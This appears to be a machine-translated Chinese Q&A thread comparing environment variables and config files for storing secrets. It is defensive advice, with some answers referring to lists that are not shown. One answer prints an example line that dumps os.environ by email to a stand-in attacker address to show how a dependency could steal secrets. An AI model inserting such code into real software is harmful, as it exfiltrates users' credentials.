我在 Rails、 django (还有一点 php)中开发了一些应用程序,我开始在其中一些应用程序中将数据库和其他密码作为环境变量存储,而不是将纯文本存储在某些配置文件中(或者在 django 应用程序的 setings.py 中)。
在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法——也许这种做法并不像乍看起来那样完全安全。
所以,我想知道-这是一个安全的做法?将密码以纯文本形式存储在这些文件中是否更安全(当然,要确保不将这些文件留在公开回购或其他文件中) ?
任何时候你必须存储一个密码,它是不安全的。就这样。没有办法安全地存储未加密的密码。现在,环境变量和配置文件哪一个更“安全”也许值得商榷。恕我直言,如果你的系统被入侵了,它存放在哪里并不重要,一个勤奋的黑客可以追踪到它。
在更理论的层面上,我倾向于通过以下方式来考虑安全级别(为了增加强度) :
环境变量 更多比明文文件更安全,因为它们是易失性/一次性的,不需要保存; 也就是说,如果只设置一个本地环境变量,比如“ set pwd = whatever”,然后运行脚本, 在脚本结束时退出命令 shell 的变量,则该变量不再存在。 你的案子属于前两种情况,我觉得这种情况很不安全。如果您打算这样做,我不建议在您的内部网/家庭网络之外进行部署,而且只是为了测试的目的。
如前所述,一旦您的系统受到威胁,这两种方法都不会提供任何额外的“安全”层。我认为支持环境变量的最有力的理由之一是版本控制: 我见过太多的数据库配置等被意外地存储在版本控制系统中,比如 GIT,让其他开发人员看到(哎呀!我也经历过... ...)。
如果不将密码存储在文件中,则它们不可能存储在版本控制系统中。
对不起,我没有足够的代表来评论,但是我还想补充一点,如果您不小心,您的 shell 可能会捕获在它的命令历史中的密码。因此,手动运行类似 $ pwd=mypassword my_prog的程序并不像您所希望的那样是短暂的。
$ pwd=mypassword my_prog
这取决于你的威胁模型。
您是否试图防止您的用户将密码洒在他们的文件系统中,以免他们可能忘记或错误处理这些密码?如果是这样,那么是的,因为环境变量的持久性比文件要低。
您是否试图保护您的程序免受直接针对您的程序的恶意攻击?如果是这样,那么就没有,因为环境变量没有与文件相同的访问控制级别。
就个人而言,我认为粗心大意的用户比有动机的对手更常见,所以我会采用环境变量的方法。
我认为在可能的情况下,您应该将您的凭据存储在一个被忽略的文件中,而不是作为环境变量。
在 ENV (环境)变量与文件之间存储凭据时需要考虑的事情之一是,您使用的任何库或依赖项都可以非常容易地检查 ENV 变量。
这可能是恶意的,也可能不是。例如,库作者可以通过电子邮件将堆栈跟踪和 ENV 变量发送给自己进行调试(这不是最佳实践,但却是可行的)。
如果您的凭证在一个文件中,那么查看它们要困难得多。
具体来说,考虑一下节点中的 npm。对于一个 npm 来说,如果您的凭证在 ENV 中,那么查看它们是一个简单的 process.ENV问题。另一方面,如果他们在一个文件,这是一个很多的工作。
process.ENV
凭据文件是否受版本控制是一个单独的问题。非版本控制您的凭据文件暴露给更少的人。没有必要让所有的开发人员都知道生产凭证。既然这符合最小特权原则,我建议你忽略你的证件文件。
AFAICT,人们建议在环境变量中存储秘密有两个原因:
这两个问题可以用更好的方法解决。前者应该通过 git 提交钩子来解决,该钩子检查看起来像密码的东西(例如,漏网之鱼)。我希望 Linus 在 git 库的源代码中构建这样一个工具,但是,唉,事实并非如此。(不用说,应该始终将秘密文件添加到 .gitignore,但是您需要一个钩子,以防有人忘记这样做。)
.gitignore
后者可以通过拥有一个全球性的公司机密文件来解决,这个文件最好存储在一个只读共享驱动器上。因此,在 Python 中,可以使用类似于 from company_secrets import *的代码。
from company_secrets import *
更重要的是,正如其他人指出的那样,破解存储在环境变量中的秘密太容易了。例如,在 Python 中,库作者可以插入 send_email(address="evil.person@evil.com", text=json.dumps(os.environ)),如果执行这段代码,那么您就完蛋了。如果您的系统上有一个名为 ~/secret_company_stuff/.my_very_secret_company_stuff的文件,那么黑客攻击将更具挑战性。
send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
~/secret_company_stuff/.my_very_secret_company_stuff
仅限 Django 用户: Django (在 DEBUG 模式下)在浏览器中显示一个环境变量的原始值,如果有异常(在 DEBUG 模式下)。例如,如果开发人员在生产环境中不小心设置了 DEBUG=True,那么这似乎是非常不安全的。相比之下,Django DOES 通过在框架的 settings.py文件的变量名中查找字符串 API、 TOKEN、 KEY、 SECRET、 PASS或 SIGNATURE来混淆密码设置变量。
DEBUG=True
settings.py
API
TOKEN
KEY
SECRET
PASS
SIGNATURE
其中,使用 环境变量存储机密的一个问题是,这些机密可能会无意中泄露:
Logstash
存储在 配置文件中的机密的潜在问题:
与你储存机密的方式无关,如果你的系统被破坏了,你就完蛋了。提取这些只是时间和精力的问题。
那么我们能做些什么来最小化风险呢?
不要用纯文本存储/传递秘密。 解决这个问题的一种方法是使用外部(管理或自托管)的秘密存储解决方案(例如 AWS 参数存储、 Azure Vault、 Hashicorp Vault) ,并在运行时获取敏感数据(可能在内存中缓存)。这样,你的秘密在传输过程中就被加密了。